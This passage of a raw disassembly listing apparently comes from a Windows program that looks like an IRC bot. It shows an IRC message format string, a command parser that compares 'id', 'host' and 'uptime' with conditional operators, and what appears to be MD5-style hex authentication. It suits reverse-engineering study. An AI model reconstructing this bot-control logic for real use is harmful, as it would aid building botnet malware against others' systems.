ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412940 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call near ptr 71AB428Ah nop mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490C0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490C8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D14 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D10 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D0C ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D08 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27F0C4Bh mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F30 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr 